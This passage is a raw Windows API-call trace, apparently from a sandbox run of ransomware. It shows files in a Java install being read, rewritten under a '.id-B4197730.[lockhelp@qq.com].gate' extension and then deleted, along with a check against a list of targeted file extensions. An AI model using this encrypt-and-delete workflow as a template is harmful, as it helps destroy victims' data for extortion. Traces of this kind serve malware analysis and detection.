(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0292.559] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.559] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.559] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0292.559] GetLastError () returned 0x0 [0292.559] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xc48, lpOverlapped=0x0) returned 1 [0292.612] WriteFile (in: hFile=0x418, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xc50, lpOverlapped=0x0) returned 1 [0292.613] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.613] WriteFile (in: hFile=0x418, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xe2, lpOverlapped=0x0) returned 1 [0292.613] SetEndOfFile (hFile=0x418) returned 1 [0292.613] CloseHandle (hObject=0x418) returned 1 [0292.614] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.614] SetEndOfFile (hFile=0x4f0) returned 1 [0292.617] CloseHandle (hObject=0x4f0) returned 1 [0292.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0292.618] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\srgb.pf")) returned 1 [0292.618] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.618] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.618] lstrlenW (lpString=".doc") returned 4 [0292.619] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0292.619] lstrlenW (lpString=".docx") returned 5 [0292.619] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0292.619] lstrlenW (lpString=".pdf") returned 4 [0292.619] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0292.619] lstrlenW (lpString=".xls") returned 4 [0292.619] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0292.619] lstrlenW (lpString=".xlsx") returned 5 [0292.619] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0292.619] lstrlenW (lpString=".ppt") returned 4 [0292.619] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0292.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.619] lstrlenW (lpString=".zip") returned 4 [0292.619] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0292.619] lstrlenW (lpString=".rar") returned 4 [0292.619] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0292.619] lstrlenW (lpString=".bz2") returned 4 [0292.619] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0292.619] lstrlenW (lpString=".7z") returned 3 [0292.619] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0292.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.619] lstrlenW (lpString=".dbf") returned 4 [0292.619] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0292.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.619] lstrlenW (lpString=".1cd") returned 4 [0292.619] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0292.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.619] lstrlenW (lpString=".jpg") returned 4 [0292.619] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0292.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.619] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.619] lstrlenW (lpString=".doc") returned 4 [0292.619] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1 [0292.619] lstrlenW (lpString=".docx") returned 5 [0292.620] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1 [0292.620] lstrlenW (lpString=".pdf") returned 4 [0292.620] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1 [0292.620] lstrlenW (lpString=".xls") returned 4 [0292.620] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1 [0292.620] lstrlenW (lpString=".xlsx") returned 5 [0292.620] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1 [0292.620] lstrlenW (lpString=".ppt") returned 4 [0292.620] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1 [0292.620] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.620] lstrlenW (lpString=".zip") returned 4 [0292.620] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1 [0292.620] lstrlenW (lpString=".rar") returned 4 [0292.620] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1 [0292.620] lstrlenW (lpString=".bz2") returned 4 [0292.620] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1 [0292.620] lstrlenW (lpString=".7z") returned 3 [0292.620] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1 [0292.620] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.620] lstrlenW (lpString=".dbf") returned 4 [0292.620] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1 [0292.620] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.620] lstrlenW (lpString=".1cd") returned 4 [0292.620] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1 [0292.620] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50 [0292.620] lstrlenW (lpString=".jpg") returned 4 [0292.620] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1 [0292.620] lstrcmpiW (lpString1=".data", lpString2=".gate") returned -1 [0292.620] lstrlenW (lpString="currency.data") returned 13 [0292.620] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0292.621] GetFileSizeEx (in: hFile=0x4f0, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=4122) returned 1 [0292.621] CloseHandle (hObject=0x4f0) returned 1 [0292.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 0x20 [0292.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.621] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0292.621] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.621] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.621] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418 [0292.622] GetLastError () returned 0x0 [0292.622] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x101a, lpOverlapped=0x0) returned 1 [0292.635] WriteFile (in: hFile=0x418, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x1020, lpOverlapped=0x0) returned 1 [0292.636] ReadFile (in: hFile=0x4f0, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.636] WriteFile (in: hFile=0x418, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xee, lpOverlapped=0x0) returned 1 [0292.636] SetEndOfFile (hFile=0x418) returned 1 [0292.636] CloseHandle (hObject=0x418) returned 1 [0292.637] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.637] SetEndOfFile (hFile=0x4f0) returned 1 [0292.664] CloseHandle (hObject=0x4f0) returned 1 [0292.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0292.865] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\currency.data")) returned 1 [0292.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.866] lstrlenW (lpString=".doc") returned 4 [0292.866] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0292.866] lstrlenW (lpString=".docx") returned 5 [0292.866] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0292.866] lstrlenW (lpString=".pdf") returned 4 [0292.866] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0292.866] lstrlenW (lpString=".xls") returned 4 [0292.866] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0292.866] lstrlenW (lpString=".xlsx") returned 5 [0292.866] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0292.866] lstrlenW (lpString=".ppt") returned 4 [0292.866] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0292.866] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.866] lstrlenW (lpString=".zip") returned 4 [0292.866] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0292.866] lstrlenW (lpString=".rar") returned 4 [0292.866] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0292.867] lstrlenW (lpString=".bz2") returned 4 [0292.867] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0292.867] lstrlenW (lpString=".7z") returned 3 [0292.867] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0292.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.867] lstrlenW (lpString=".dbf") returned 4 [0292.867] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0292.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.867] lstrlenW (lpString=".1cd") returned 4 [0292.867] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0292.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.867] lstrlenW (lpString=".jpg") returned 4 [0292.867] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0292.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.867] lstrlenW (lpString=".doc") returned 4 [0292.867] lstrcmpiW (lpString1=".doc", lpString2="data") returned -1 [0292.867] lstrlenW (lpString=".docx") returned 5 [0292.867] lstrcmpiW (lpString1=".docx", lpString2=".data") returned 1 [0292.867] lstrlenW (lpString=".pdf") returned 4 [0292.867] lstrcmpiW (lpString1=".pdf", lpString2="data") returned -1 [0292.867] lstrlenW (lpString=".xls") returned 4 [0292.867] lstrcmpiW (lpString1=".xls", lpString2="data") returned -1 [0292.867] lstrlenW (lpString=".xlsx") returned 5 [0292.867] lstrcmpiW (lpString1=".xlsx", lpString2=".data") returned 1 [0292.867] lstrlenW (lpString=".ppt") returned 4 [0292.867] lstrcmpiW (lpString1=".ppt", lpString2="data") returned -1 [0292.867] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.867] lstrlenW (lpString=".zip") returned 4 [0292.867] lstrcmpiW (lpString1=".zip", lpString2="data") returned -1 [0292.868] lstrlenW (lpString=".rar") returned 4 [0292.868] lstrcmpiW (lpString1=".rar", lpString2="data") returned -1 [0292.868] lstrlenW (lpString=".bz2") returned 4 [0292.868] lstrcmpiW (lpString1=".bz2", lpString2="data") returned -1 [0292.868] lstrlenW (lpString=".7z") returned 3 [0292.868] lstrcmpiW (lpString1=".7z", lpString2="ata") returned -1 [0292.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.868] lstrlenW (lpString=".dbf") returned 4 [0292.868] lstrcmpiW (lpString1=".dbf", lpString2="data") returned -1 [0292.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.868] lstrlenW (lpString=".1cd") returned 4 [0292.868] lstrcmpiW (lpString1=".1cd", lpString2="data") returned -1 [0292.868] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\currency.data") returned 52 [0292.868] lstrlenW (lpString=".jpg") returned 4 [0292.868] lstrcmpiW (lpString1=".jpg", lpString2="data") returned -1 [0292.868] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0292.868] lstrlenW (lpString="messages_de.properties") returned 22 [0292.868] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0292.869] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3306) returned 1 [0292.869] CloseHandle (hObject=0x530) returned 1 [0292.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20 [0292.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0292.869] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0292.870] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.870] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.870] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0292.870] GetLastError () returned 0x0 [0292.870] ReadFile (in: hFile=0x530, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xcea, lpOverlapped=0x0) returned 1 [0293.036] WriteFile (in: hFile=0x534, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xcf0, lpOverlapped=0x0) returned 1 [0293.036] ReadFile (in: hFile=0x530, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0293.036] WriteFile (in: hFile=0x534, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0x100, lpOverlapped=0x0) returned 1 [0293.036] SetEndOfFile (hFile=0x534) returned 1 [0293.044] CloseHandle (hObject=0x534) returned 1 [0293.047] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.047] SetEndOfFile (hFile=0x530) returned 1 [0293.049] CloseHandle (hObject=0x530) returned 1 [0293.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0293.050] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1 [0293.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.050] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.050] lstrlenW (lpString=".doc") returned 4 [0293.050] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.050] lstrlenW (lpString=".docx") returned 5 [0293.050] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.051] lstrlenW (lpString=".pdf") returned 4 [0293.051] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.051] lstrlenW (lpString=".xls") returned 4 [0293.051] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.051] lstrlenW (lpString=".xlsx") returned 5 [0293.051] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.051] lstrlenW (lpString=".ppt") returned 4 [0293.051] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.051] lstrlenW (lpString=".zip") returned 4 [0293.051] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.051] lstrlenW (lpString=".rar") returned 4 [0293.051] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.051] lstrlenW (lpString=".bz2") returned 4 [0293.051] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.051] lstrlenW (lpString=".7z") returned 3 [0293.051] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.051] lstrlenW (lpString=".dbf") returned 4 [0293.051] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.051] lstrlenW (lpString=".1cd") returned 4 [0293.051] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.051] lstrlenW (lpString=".jpg") returned 4 [0293.051] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.051] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.051] lstrlenW (lpString=".doc") returned 4 [0293.051] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0293.052] lstrlenW (lpString=".docx") returned 5 [0293.052] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0293.052] lstrlenW (lpString=".pdf") returned 4 [0293.052] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0293.052] lstrlenW (lpString=".xls") returned 4 [0293.052] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0293.052] lstrlenW (lpString=".xlsx") returned 5 [0293.052] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0293.052] lstrlenW (lpString=".ppt") returned 4 [0293.052] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0293.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.052] lstrlenW (lpString=".zip") returned 4 [0293.052] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0293.052] lstrlenW (lpString=".rar") returned 4 [0293.052] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0293.052] lstrlenW (lpString=".bz2") returned 4 [0293.052] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0293.052] lstrlenW (lpString=".7z") returned 3 [0293.052] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0293.052] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.054] lstrlenW (lpString=".dbf") returned 4 [0293.054] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0293.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.054] lstrlenW (lpString=".1cd") returned 4 [0293.054] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0293.054] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68 [0293.054] lstrlenW (lpString=".jpg") returned 4 [0293.054] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0293.055] lstrcmpiW (lpString1=".properties", lpString2=".gate") returned 1 [0293.055] lstrlenW (lpString="messages_fr.properties") returned 22 [0293.055] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0293.055] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=3409) returned 1 [0293.055] CloseHandle (hObject=0x530) returned 1 [0293.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties")) returned 0x20 [0293.055] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0293.056] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0293.056] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.056] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.056] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_fr.properties.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x52c [0293.058] GetLastError () returned 0x0 [0293.058] ReadFile (in: hFile=0x530, lpBuffer=0x41cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesRead=0x377fecc*=0xd51, lpOverlapped=0x0) returned 1 [0293.159] WriteFile (in: hFile=0x52c, lpBuffer=0x41cc020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41cc020*, lpNumberOfBytesWritten=0x377fc94*=0xd60, 